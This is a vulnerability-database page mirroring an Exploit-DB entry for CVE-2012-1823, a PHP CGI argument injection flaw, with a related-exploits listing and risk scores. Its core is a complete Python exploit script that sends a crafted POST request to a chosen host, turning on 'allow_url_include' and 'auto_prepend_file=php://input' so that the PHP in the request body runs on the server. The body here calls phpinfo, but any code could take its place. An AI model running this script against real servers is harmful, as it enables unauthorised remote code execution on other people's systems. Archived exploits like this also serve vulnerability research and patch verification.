Lucene search
+L

PHP < 5.3.12 / < 5.4.2 - CGI Argument Injection

🗓️ 05 May 2012 00:00:00Reported by rayh4cType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 593 Views

PHP CGI Argument Injection Exploit - May 4, 201

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
PHP CGI Argument Injection
5 May 201200:00
zdt
zdt
zdt
PHP CGI Argument Injection Exploit
5 May 201200:00
zdt
zdt
zdt
PHP CGI Argument Injection Remote Exploit (PHP Version)
20 May 201200:00
zdt
zdt
zdt
Plesk Apache Zeroday Remote Exploit
6 Jun 201300:00
zdt
zdt
zdt
Apache Magicka Remote Code Execution Vulnerability
31 Oct 201300:00
zdt
githubexploit
GithubExploit
Exploit for OS Command Injection in Php
8 Jun 202406:36
githubexploit
githubexploit
GithubExploit
Exploit for OS Command Injection in Php
11 Jun 202415:11
githubexploit
githubexploit
GithubExploit
Exploit for Command Injection in Php
22 Jul 202617:04
githubexploit
githubexploit
GithubExploit
Exploit for OS Command Injection in Php
12 Jun 202411:50
githubexploit
githubexploit
GithubExploit
Exploit for Command Injection in Php
30 Jun 202616:01
githubexploit
Rows per page
######################################################################################
# Exploit Title: Cve-2012-1823 PHP CGI Argument Injection Exploit
# Date: May 4, 2012
# Author: rayh4c[0x40]80sec[0x2e]com
# Exploit Discovered by wofeiwo[0x40]80sec[0x2e]com
######################################################################################

import socket
import sys

def cgi_exploit():
        pwn_code = """<?php phpinfo();?>"""
        post_Length = len(pwn_code)
        http_raw="""POST /?-dallow_url_include%%3don+-dauto_prepend_file%%3dphp://input HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s
""" %(HOST , post_Length ,pwn_code)
        print http_raw
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((HOST, int(PORT)))
            sock.send(http_raw)
            data = sock.recv(10000)
            print repr(data)
            sock.close()
        except socket.error, msg:
            sys.stderr.write("[ERROR] %s\n" % msg[1])
            sys.exit(1)

if __name__ == '__main__':
        try:
            HOST = sys.argv[1]
            PORT = sys.argv[2]
            cgi_exploit()
        except IndexError:
            print '[+]Usage: cgi_test.py site.com 80'
            sys.exit(-1)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 May 2012 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 27.5
CVSS 3.19.8
EPSS0.99998
SSVC
593